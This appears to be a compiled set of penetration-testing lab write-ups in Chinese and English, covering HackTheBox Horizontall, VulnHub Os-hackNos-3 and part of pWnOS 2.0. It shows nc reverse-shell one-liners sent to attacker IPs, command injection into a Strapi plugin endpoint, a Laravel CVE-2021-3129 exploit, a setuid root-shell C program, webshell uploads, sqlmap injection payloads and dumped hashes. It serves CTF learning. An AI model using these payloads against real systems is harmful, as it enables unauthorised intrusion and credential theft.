curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzEwMTgzLCJleHAiOjE2MzI5MDIxODN9.5OUfoWMixghsJkKGNtiFYXNM-BbojJH4qUUwlwp1wBg' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb/' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 9001 >/tmp/f)\",\"port\":\"1337\"}' $'http://api-prod.horizontall.htb/admin/plugins/install' --proxy http://127.0.0.1:8080
```

I am passing the request through burp in case if there is something error. And we get a
shell back as strapi

``` bash
POST /admin/plugins/install HTTP/1.1
Host: api-prod.horizontall.htb
User-Agent: curl/7.74.0
Accept: */*
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMzEwMTgzLCJleHAiOjE2MzI5MDIxODN9.5OUfoWMixghsJkKGNtiFYXNM-BbojJH4qUUwlwp1wBg
Content-Type: application/json
Origin: http://api-prod.horizontall.htb/
Content-Length: 127
Connection: close

{"plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 9001 >/tmp/f)","port":"1337"}
```

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:38344.
/bin/sh: 0: can't access tty; job control turned off
$ di
/bin/sh: 1: di: not found
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
$ whoami
strapi
$ ls /home
developer
$ cd /home/developer
$ ls
composer-setup.php
myproject
user.txt
$ cat user.txt
28682f1ff5c4be049cac8bb83103614a
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2076.jpg)

#### Privilege Escalation

Strapi's home directory is in opt. So, I created a .ssh directory and added my ssh key.

``` bash
$ pwd
/opt/strapi/.ssh
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali" > authorized_keys
$ cat authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDMR1r7B7aiEe6j+wBsVumAFqFXCiqw2iSrcg1S7rC1BdlVqr8YfWnT6e/e3+TAJk9idtLz/wN2MkupWtI1ddtNTJz31RQb0WMGjq7p8Usg0uIYhQH0PTN/GmPXDhqLIPcbTnNQMcV2PnwM07eXxQH0+s9rqVO8cR2z2f35bKe3WrHNnT7NwfOoWqNJxh+V8OGgfF8LhS0E46I6co76MJAIsX24Zs9r/dY+JPOlJlS3K2Kf3xSfPAScQeWip1WYY9depVuQywk12kOUikzGNjlQ4phNba47VjfycyV34cLw0/vQcDv5hMCfaK+hoE5rBXysnVx/f3n3zRYMLomgveQUCLBYUwJPE2t0VzeeX4W9wxrAOl2Njx5TI4cEFnmlp/6lO/iK+aC6BSBRxU19jS2fUchiN9PMgLSYGzhuIxOLvvd9AlaOYPNM7a5AfjzzO+gd1fv/Mb9EIZCKibtvpHp0eomnSDcDz/b9FNpbvg6V5NBVy2VaufcRbiBDD6cTS00= root@kali
```

 - Laravel Exploit

There is a laravel running on port 8000, so we forward the port and exploit it locally.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# ssh -i id_rsa -L 8000:127.0.0.1:8000 strapi@10.10.11.105
The authenticity of host '10.10.11.105 (10.10.11.105)' can't be established.
ECDSA key fingerprint is SHA256:rlqcbRwBVk92jqxFV79Tws7plMRzIgEWDMc862X9ViQ.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.105' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-154-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Mon Aug 30 08:44:01 UTC 2021

  System load:  0.01              Processes:           200
  Usage of /:   87.6% of 4.85GB   Users logged in:     1
  Memory usage: 52%               IP address for eth0: 10.10.11.105
  Swap usage:   0%

  => / is using 87.6% of 4.85GB


0 updates can be applied immediately.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Mon Aug 30 08:36:17 2021 from 10.10.14.5
$ id
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)
$ whoami
strapi
```

visit:

``` bash
http://127.0.0.1:8000/
```

#### CVE-2021-3129

https://github.com/nth347/CVE-2021-3129_exploit

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "id"                                                                    
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[+] PHAR deserialized. Exploited

uid=0(root) gid=0(root) groups=0(root)

[i] Trying to clear logs
[+] Logs cleared
```

And we have RCE in Laravel, so we can get a reverse shell but I am not going to get a reverse shell, just going to read root.txt 

``` bash
┌──(root💀kali)-[~/hackthebox/machine/horizontall]
└─# python3 exploit.py http://127.0.0.1:8000 Monolog/RCE1 "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 9001 >/tmp/f"
[i] Trying to clear logs
[+] Logs cleared
[+] PHPGGC found. Generating payload and deploy it to the target
[+] Successfully converted logs to PHAR
[i] There is no output
[i] Trying to clear logs
```

and we get a root shell

``` bash
┌──(root💀kali)-[~]
└─# nc -lvp 9001                                                                                                                  
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.11.105.
Ncat: Connection from 10.10.11.105:42580.
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# cat /root/root.txt
03187202abb3831dbbe697f3644709b6
# cat /etc/shadow | grep root
root:$6$rGxQBZV9$SbzCXDzp1MEx7xxXYuV5voXCy4k9OdyCDbyJcWuETBujfMrpfVtTXjbx82bTNlPK6Ayg8SqKMYgVlYukVOKJz1:18836:0:99999:7:::
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2077.jpg)

#### Summary of knowledge

 - basic information gathering
 - Strapi password reset vulnerability (CVE-2019-18818)
 - Strapi Framework Remote Code Execution (CVE-2019-19609)
 - Privilege Escalation through CVE-2021-3129 exploit

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more......</font>
<!-- kb:end horizontall -->

</details>

<a id="case-os-hacknos-3"></a>

## 后台上传与文件能力排查

原文记录 osTicket 账户、上传入口以及多次提权失败后的能力排查。作者提示与最终验证分别留存，保留排错过程。

<p class="kb-provenance">来源 Os-hackNos-3 · 原记录 2019-12-31 · 13 个代码块 · 18 处图片引用</p>

<details class="kb-evidence" id="record-os-hacknos-3">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start Os-hackNos-3 -->

(如果看不到图片，是因为github图床被墙了，准备梯子或者等一段时间就能看到图片了。)

#### 发布日期
名称：hackNos: Os-hackNos-3
发布日期：2019年12月14日

#### 下载

 - Download: https://drive.google.com/open?id=1zWTU6BFXPmS8BDeoVc766FwUJQZ4-_RT
 - Download (Mirror): https://download.vulnhub.com/hacknos/Os-hackNos-3.ova
 - Download (Torrent): https://download.vulnhub.com/hacknos/Os-hackNos-3.ova.torrent



#### 描述

难度：中级
flag：2flag第一个user.txt和第二个root.txt
学习：Web应用程序 枚举 特权提升
网站：www.hacknos.com
联系我们：@rahul_gehlaut
使用VirtualBox而不是VMware可能会更好

#### 起因

我想起来做这个靶机的原因是，暗月大佬说他自己搜遍全网无法提权，本人就苟且尝试着做了一下。。。:)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub102.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub103.jpg)

#### 信息收集

上nmap

``` bash
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.105
Host is up (0.00022s latency).
MAC Address: 08:00:27:CF:65:22 (Oracle VirtualBox virtual NIC)
```

``` bash
root@kali:~# nmap -p- -v -sV -Pn 192.168.56.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
```

``` bash
root@kali:~# nmap -p 22,80 -Pn -sV -A -T5 -v --script=vuln 192.168.56.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.0p1 Ubuntu 6build1 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|_  /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
```

没有太多有用信息，/scripts/目录下的文件显示是osticket搭建的邮件系统,dirb没有发现太多有效信息

``` bash
root@kali:~# dirb http://192.168.56.105/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Mon Dec 30 21:46:55 2019
URL_BASE: http://192.168.56.105/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.56.105/ ----
+ http://192.168.56.105/index.html (CODE:200|SIZE:195)                                                
==> DIRECTORY: http://192.168.56.105/scripts/                                                         
+ http://192.168.56.105/server-status (CODE:403|SIZE:279)
```

现在就上神器dirbuster了
![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub104.jpg)

电脑性能好，开500个线程无压力:)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub105.jpg)

发现两个敏感目录/websec, /devil其中只有/websec目录下的cms有用

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub106.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub107.jpg)

#### 爆破cms的后台密码

使用cewl爬取/websec/页面制作密码字典（靶机作者的提示）

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub108.jpg)

``` bash
root@kali:~# cewl http://192.168.56.105/websec/ > oshacknos3.txt
root@kali:~# cat oshacknos3.txt 
CeWL 5.4.6 (Exclusion) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
hackNos
Bootstrap
and
com
Start
www
JavaScript
Navigation
About
Services
Portfolio
Contact
Security
Find
Out
More
Securityx
has
everything
you
need
get
your
new
website
running
time
All
the
templates
themes
are
open
source
free
download
easy
use
strings
attached
Get
Started
Your
Service
contact
hacknos
core
Plugin
Custom
scripts
for
this
template
```

用户名用contact@hacknos.com，爆破密码用hydra或者burp都可以，成功进入后台后，发现密码就是首页的Securityx

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub109.jpg)

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub110.jpg)

#### getshell

进入下图所示页面然后点开.htaccess文件，将里面的内容全部删除，然后点击save，不删除的话，后面上传的shell无法访问。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub111.jpg)

如下图成功上传冰蝎木马

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub112.jpg)

直接连接然后上传php-reverse-shell.php,

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub113.jpg)

kali端监听，然后访问shell，成功弹回shell

``` bash
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.105: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.105] 53620
Linux hacknos 5.3.0-24-generic #26-Ubuntu SMP Thu Nov 14 01:33:18 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 03:34:52 up  2:04,  0 users,  load average: 0.00, 0.00, 0.33
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@hacknos:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@hacknos:/$ whoami
whoami
www-data
```

#### 提权

话说暗月大佬搜全网都无法提权的靶机，本人感到非常好奇，到底有多难呢？请接着往下看。

查看SUID权限可执行文件，没有可用的

``` bash
www-data@hacknos:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/mount
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/cpulimit
/usr/bin/gpasswd
/usr/bin/umount
/usr/bin/su
/usr/bin/sudo
/usr/bin/fusermount
/usr/bin/at
/usr/bin/pkexec
/usr/bin/chsh
```

上[gtfobins](https://gtfobins.github.io/)搜索了以下可利用提权的cpulimit二进制文件.

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub114.jpg)

``` bash
www-data@hacknos:/$ sudo cpulimit -l 100 -f /bin/sh
sudo cpulimit -l 100 -f /bin/sh
[sudo] password for www-data:
```

失败。。。然后尝试了各种exp和poc和脚本，还有其他提权方式均失败之后，实在没办法找到了作者，问了作者

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub115.jpg)

作者的意思是通过docker提权，参考他的博客[docker Privilege Escalation Linux](https://www.hacknos.com/docker-privilege-escalation/)。

然而，我按照文中的方法试了，还是提示当前用户www-data的权限不足,然后查看了blackdevil用户的权限，具有docker的权限

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub116.jpg)

然而，后面我花了很多时间尝试爆破blackdevil的密码，尝试在shell中找hash值，无果。。。再次问作者，也没有回复。

所以只好在discord上面询问vulnhub的大神,有幸得到了pwn4magic大佬的回复

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub117.jpg)

他告诉我先在kali上面写好C语言的脚本，然后编译，然后将生成的程序放到目标机上面给777权限，然后和cpulimit一起运行就行了，具体做法如下。

c语言程序源码:

``` bash
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h>

int main()
{
  setuid(0);
  setgid(0);
  system("/bin/bash");
  return 0;
}
```
编译之后，放到目标机上

``` bash
root@kali:~# gcc luci11.c -o exp
luci11.c: In function ‘main’:
luci11.c:9:3: warning: implicit declaration of function ‘system’ [-Wimplicit-function-declaration]
    9 |   system("/bin/bash");
      |   ^~~~~~
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

``` bash
www-data@hacknos:/tmp$ wget http://192.168.56.102:8000/exp
wget http://192.168.56.102:8000/exp
--2019-12-31 05:37:05--  http://192.168.56.102:8000/exp
Connecting to 192.168.56.102:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16720 (16K) [application/octet-stream]
Saving to: ‘exp’

exp                 100%[===================>]  16.33K  --.-KB/s    in 0s      

2019-12-31 05:37:05 (130 MB/s) - ‘exp’ saved [16720/16720]

www-data@hacknos:/tmp$ chmod 777 exp
chmod 777 exp
www-data@hacknos:/tmp$ ls -la
ls -la
total 28
drwxrwxrwt  2 root     root      4096 Dec 31 05:37 .
drwxr-xr-x 20 root     root      4096 Dec 10 18:05 ..
-rwxrwxrwx  1 www-data www-data 16720 Dec 31  2019 exp
```

最后运行下面命令提权

``` bash
www-data@hacknos:/tmp$ cpulimit -l 100 -f ./exp
cpulimit -l 100 -f ./exp
Process 2800 detected
root@hacknos:/tmp# id 
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
root@hacknos:/tmp# whoami
whoami
root
```

成功提权，简直帅炸天。。。
得到flag,root.txt。。。。

``` bash
root@hacknos:/tmp# cd /root
cd /root
root@hacknos:/root# ls
ls
root.txt  snap
root@hacknos:/root# cat root.txt
cat root.txt
########    #####     #####   ########         ########  
##     ##  ##   ##   ##   ##     ##            ##     ## 
##     ## ##     ## ##     ##    ##            ##     ## 
########  ##     ## ##     ##    ##            ########  
##   ##   ##     ## ##     ##    ##            ##   ##   
##    ##   ##   ##   ##   ##     ##            ##    ##  
##     ##   #####     #####      ##    ####### ##     ##


MD5-HASH: bae11ce4f67af91fa58576c1da2aad4b

Author: Rahul Gehlaut

Blog: www.hackNos.com

Linkedin: https://in.linkedin.com/in/rahulgehlaut
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub118.jpg)

至此，挑战完成。。。
全网首发，发布日期（2019年12月31）

 - eg: linux suid提权参考[Linux Privilege Escalation using SUID Binaries](https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/)，保姆级教程。

 - 最后附上oshacknos3靶机作者Rahul Gehlaut的write up[OS-hackNos-3 Walkthrough Vulnhub CTF](https://www.hacknos.com/os-hacknos-3-walkthrough-vulnhub-ctf/)，其实能进入blackdevil账户的话，还可以使用之前文章中提到的docker提权方式。

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end Os-hackNos-3 -->

</details>

<a id="case-pwnos2-0-pre-release"></a>

## CMS 执行与多份数据库配置

原链从 Web 账户与 CMS 版本进入文件执行，多份 mysqli_connect 配置的差异决定哪组凭据可用。

<p class="kb-provenance">来源 pWnOS2-0-Pre-Release · 原记录 2019-12-14 · 10 个代码块 · 8 处图片引用</p>

<details class="kb-evidence" id="record-pwnos2-0-pre-release">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start pWnOS2-0-Pre-Release -->

名称：pWnOS：2.0（预发布）
发布日期：2011年7月4日

下载：
Download: [http://pwnos.com/files/pWnOS_v2.0.7z](http://pwnos.com/files/pWnOS_v2.0.7z)
Download (Mirror): [https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z](https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z)
Download (Torrent): [https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z.torrent](https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z.torrent)

描述：

pWnOS v2.0（预发布！）

目标：
root...赢！
关于：
pWnOS v2.0是一个Virutal机器映像，它托管一台服务器以进行实践渗透测试。 它将测试您利用服务器的能力，并包含多个达到目标（根）的入口点。 它是为与WMWare Workstation 7.0一起使用而设计的，但也可以与大多数其他虚拟机软件一起使用。



配置和设置：
将攻击平台配置为在10.10.10.0/24网络范围内
例如，将BackTrack 5网络适配器静态设置为IP地址为10.10.10.200且网络掩码为255.255.255.0。

VMWare的网络适配器设置为桥接网络适配器
您可能需要根据设置将VMWare的网络适配器更改为NAT或仅主机

服务器的IP静态设置为10.10.10.100

服务器的网络设置：
IP：10.10.10.100
网路遮罩：255.255.255.0
网关：10.10.10.15

漏洞：

 - 不安全的文件处理
 - 纯文本密码
 - 重用凭证
 - SQL注入
 - 不受限制地上传危险类型的文件

#### 配置网络

对于白中白的小盆友，可能网络都配置不来，就按下面图片中的配置即可，然后测试网络可达性。

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub56.jpg)

``` bash
root@kali:~# ping 10.10.10.100
PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=64 time=0.223 ms
64 bytes from 10.10.10.100: icmp_seq=2 ttl=64 time=0.414 ms
64 bytes from 10.10.10.100: icmp_seq=3 ttl=64 time=0.342 ms
64 bytes from 10.10.10.100: icmp_seq=4 ttl=64 time=0.357 ms
64 bytes from 10.10.10.100: icmp_seq=5 ttl=64 time=0.416 ms
^C
--- 10.10.10.100 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4092ms
rtt min/avg/max/mdev = 0.223/0.350/0.416/0.070 ms
```

nice done!!!

#### 信息收集

nmap伺候

``` bash
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
|_clamav-exec: ERROR: Script execution failed (use -d to debug)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|       httponly flag not set
|   /login.php: 
|     PHPSESSID: 
|       httponly flag not set
|   /login/: 
|     PHPSESSID: 
|       httponly flag not set
|   /index/: 
|     PHPSESSID: 
|       httponly flag not set
|   /register/: 
|     PHPSESSID: 
|_      httponly flag not set
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.10.10.100
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://10.10.10.100:80/login.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://10.10.10.100:80/register.php
|     Form id: 
|_    Form action: register.php
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum: 
|   /blog/: Blog
|   /login.php: Possible admin folder
|   /login/: Login page
|   /info.php: Possible information file
|   /icons/: Potentially interesting folder w/ directory listing
|   /includes/: Potentially interesting directory w/ listing on 'apache/2.2.17 (ubuntu)'
|   /index/: Potentially interesting folder
|   /info/: Potentially interesting folder
|_  /register/: Potentially interesting folder
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
```

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub57.jpg)
来到登录口，发现有注入，直接sqlmap一波。

``` bash
root@kali:~# sqlmap -r sqlmap.txt -D ch16 -T users --dump
        ___
       __H__                                                                                                                                                        
 ___ ___[)]_____ ___ ___  {1.3.12#stable}                                                                                                                           
|_ -| . [.]     | .'| . |                                                                                                                                           
|___|_  [']_|_|_|__,|  _|                                                                                                                                           
      |_|V...       |_|   http://sqlmap.org                                                                                                                         

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 05:56:36 /2019-12-15/

[05:56:36] [INFO] parsing HTTP request from 'sqlmap.txt'
[05:56:36] [INFO] resuming back-end DBMS 'mysql' 
[05:56:36] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)
    Payload: email=124123' OR NOT 3619=3619#&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: email=124123' AND (SELECT 1325 FROM(SELECT COUNT(*),CONCAT(0x7170706a71,(SELECT (ELT(1325=1325,1))),0x7170627171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gsUK&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: email=124123' AND (SELECT 5062 FROM (SELECT(SLEEP(5)))bAlG)-- SXBw&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE

    Type: UNION query
    Title: MySQL UNION query (NULL) - 8 columns
    Payload: email=124123' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7170706a71,0x564e4f70794e7171465a644f695056686b6e54576e757163667a7476486252574f76717264665950,0x7170627171),NULL,NULL,NULL,NULL#&pass=dvfvsdfvsdf&submit=Login&submitted=TRUE
---
[05:56:36] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0
[05:56:36] [INFO] fetching columns for table 'users' in database 'ch16'
[05:56:36] [INFO] used SQL query returns 8 entries
[05:56:36] [INFO] resumed: 'user_id','int(10) unsigned'
[05:56:36] [INFO] resumed: 'first_name','varchar(20)'
[05:56:36] [INFO] resumed: 'last_name','varchar(40)'
[05:56:36] [INFO] resumed: 'email','varchar(80)'
[05:56:36] [INFO] resumed: 'pass','char(40)'
[05:56:36] [INFO] resumed: 'user_level','tinyint(1) unsigned'
[05:56:36] [INFO] resumed: 'active','char(32)'
[05:56:36] [INFO] resumed: 'registration_date','datetime'
[05:56:36] [INFO] fetching entries for table 'users' in database 'ch16'                                                                                            
[05:56:36] [INFO] used SQL query returns 1 entry
[05:56:36] [INFO] recognized possible password hashes in column 'pass'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] n
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: ch16
Table: users
[1 entry]
+---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+
| user_id | pass                                     | email            | active | last_name | first_name | user_level | registration_date   |
+---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+
| 1       | c2c4b4e51d9e23c02c15702c136c3e950ba9a4af | admin@isints.com | NULL   | Privett   | Dan        | 0          | 2011-05-07 17:27:01 |
+---------+------------------------------------------+------------------+--------+-----------+------------+------------+---------------------+

[05:56:39] [INFO] table 'ch16.users' dumped to CSV file '/root/.sqlmap/output/10.10.10.100/dump/ch16/users.csv'
[05:56:39] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.10.10.100'

[*] ending @ 05:56:39 /2019-12-15/
```

sha1加密的hash值c2c4b4e51d9e23c02c15702c136c3e950ba9a4af解密得到killerbeesareflying,使用邮箱和该密码登录没有发现任何内容

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub58.jpg)

dirb目录扫一波

``` bash
root@kali:~# dirb http://10.10.10.100/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Dec 15 05:59:36 2019
URL_BASE: http://10.10.10.100/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.100/ ----
+ http://10.10.10.100/activate (CODE:302|SIZE:0)                                                                                                                   
==> DIRECTORY: http://10.10.10.100/blog/                                                                                                                           
+ http://10.10.10.100/cgi-bin/ (CODE:403|SIZE:288)                                                                                                                 
==> DIRECTORY: http://10.10.10.100/includes/                                                                                                                       
+ http://10.10.10.100/index (CODE:200|SIZE:854)                                                                                                                    
+ http://10.10.10.100/index.php (CODE:200|SIZE:854)                                                                                                                
+ http://10.10.10.100/info (CODE:200|SIZE:50175)                                                                                                                   
+ http://10.10.10.100/info.php (CODE:200|SIZE:50044)                                                                                                               
+ http://10.10.10.100/login (CODE:200|SIZE:1174)                                                                                                                   
+ http://10.10.10.100/register (CODE:200|SIZE:1562)                                                                                                                
+ http://10.10.10.100/server-status (CODE:403|SIZE:293)                                                                                                            
                                                                                                                                                                   
---- Entering directory: http://10.10.10.100/blog/ ----
+ http://10.10.10.100/blog/add (CODE:302|SIZE:0)                                                                                                                   
+ http://10.10.10.100/blog/atom (CODE:200|SIZE:1062)                                                                                                               
+ http://10.10.10.100/blog/categories (CODE:302|SIZE:0)                                                                                                            
+ http://10.10.10.100/blog/comments (CODE:302|SIZE:0)                                                                                                              
==> DIRECTORY: http://10.10.10.100/blog/config/                                                                                                                    
+ http://10.10.10.100/blog/contact (CODE:200|SIZE:5918)                                                                                                            
==> DIRECTORY: http://10.10.10.100/blog/content/                                                                                                                   
+ http://10.10.10.100/blog/delete (CODE:302|SIZE:0)                                                                                                                
==> DIRECTORY: http://10.10.10.100/blog/docs/                                                                                                                      
==> DIRECTORY: http://10.10.10.100/blog/flash/                                                                                                                     
